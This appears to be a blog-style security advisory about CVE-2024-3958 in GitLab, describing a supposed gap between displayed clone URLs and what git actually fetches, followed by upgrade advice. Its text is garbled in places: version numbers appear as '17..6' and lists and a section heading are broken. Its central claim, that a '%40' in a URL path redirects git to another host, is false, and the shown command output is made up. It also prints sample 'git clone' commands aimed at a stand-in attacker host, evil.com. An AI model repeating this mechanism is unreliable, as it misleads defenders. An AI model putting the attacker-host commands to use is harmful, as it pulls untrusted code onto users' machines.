A new vulnerability, CVE-2024-3958, has recently been discovered in GitLab Community Edition (CE) and Enterprise Edition (EE). This bug affects all versions of GitLab before 17..6, 17.1 before 17.1.4, and 17.2 before 17.2.2. The security issue arises from a mismatch between what the GitLab web interface displays and what the git command line actually does — a gap attackers can exploit to make users clone code from untrusted or malicious repositories.

This post will walk through how the vulnerability works, provide a simple exploit scenario, include code snippets, and share official references for further reading.

The Discrepancy

When you visit a project page on GitLab’s web UI, you usually see a repository's download/clone URL. Most people trust that what they see in the browser is what they'll get when they type git clone in their terminal.

But due to a parsing mismatch in vulnerable GitLab versions, an attacker can craft a project or repository so that:

The web UI displays a "safe" or "expected" repository URL.

- But the command-line git client interprets the provided URL differently (possibly redirecting the clone operation to a malicious repo under the attacker's control).

This opens the door for social engineering. Attackers can convince someone to clone what looks like legitimate code—when in fact, it's malware.

Who Is Affected?

- GitLab CE/EE before 17..6

17.2 before 17.2.2

If you administer or use GitLab, and your version is not up to date, you are at risk.

Concept

Most git repositories are cloned using URLs. These URLs can be written in various ways. Sometimes, using certain special characters or formats, you can trick *git* client parsing.

Here’s the main trick: The clone URL displayed by GitLab may not match the actual argument processed by the git clone command because of URL encoding or handling that differs between GitLab’s web renderer and the git command-line tooling.

Suppose you visit a legitimate GitLab project called

https://gitlab.example.com/group/legit-repo

On the web, the "Clone" button displays

https://gitlab.example.com/group/legit-repo.git

But an attacker can craft a repository using special characters like @, %2F, or double slashes, leading the *git* client to actually resolve this to:

https://attacker.example.com/malicious-repo.git

Say an attacker creates a repository called

user%40evil.com/malicious.git

It may show this clone URL

https://gitlab.example.com/user%40evil.com/malicious.git

Seems like it will be cloned from gitlab.example.com — looks innocent.

However, when a user copies this and runs

git clone https://gitlab.example.com/user%40evil.com/malicious.git

The git command-line tool parses this as

https://user@evil.com/malicious.git

Suddenly, you’re cloning from evil.com, outside your trusted GitLab instance!

Code Snippet: A Minimal Example

Here’s a quick demonstration using the command line.

Suppose a user is told to clone

git clone https://gitlab.example.com/alice%40evil.com/test.git

The git client interprets %40 as @, so it resolves to

git clone https://alice@evil.com/test.git

Check the remote after cloning

cd test
git remote -v
# Origin: https://alice@evil.com/test.git

That's not GitLab—it’s an attacker’s server!

Third-Party Repo Hijack: Developers may unknowingly review or run code from a fake repository.

- Supply Chain Attack: If automation or CI systems rely on user-supplied URLs, they might import malicious code, compromising the pipeline.

Upgrade GitLab:

- CE/EE: Upgrade to 17..6 or later

17.2: Upgrade to 17.2.2 or later

- Be skeptical of clone URLs that contain %40, extra slashes, unusual characters, or that don't match the expected domain.

Official References

- GitLab Security Release Announcement
- CVE Detail: CVE-2024-3958
- GitLab Blog Post
- HackerOne Report *(if public)*

Conclusion

The CVE-2024-3958 vulnerability is a textbook example of how little differences between web and command line parsing can have big security consequences. Always keep your software up to date, examine clone URLs carefully, and be wary of social engineering—or you might end up running an attacker’s code instead of your teammate's.

If you manage a GitLab instance, patch as soon as possible and educate your team.


*If you found this helpful, share it with your developer friends and help keep open source secure!*

Timeline

Published on: 08/08/2024 11:15:12 UTC
Last modified on: 08/08/2024 13:04:18 UTC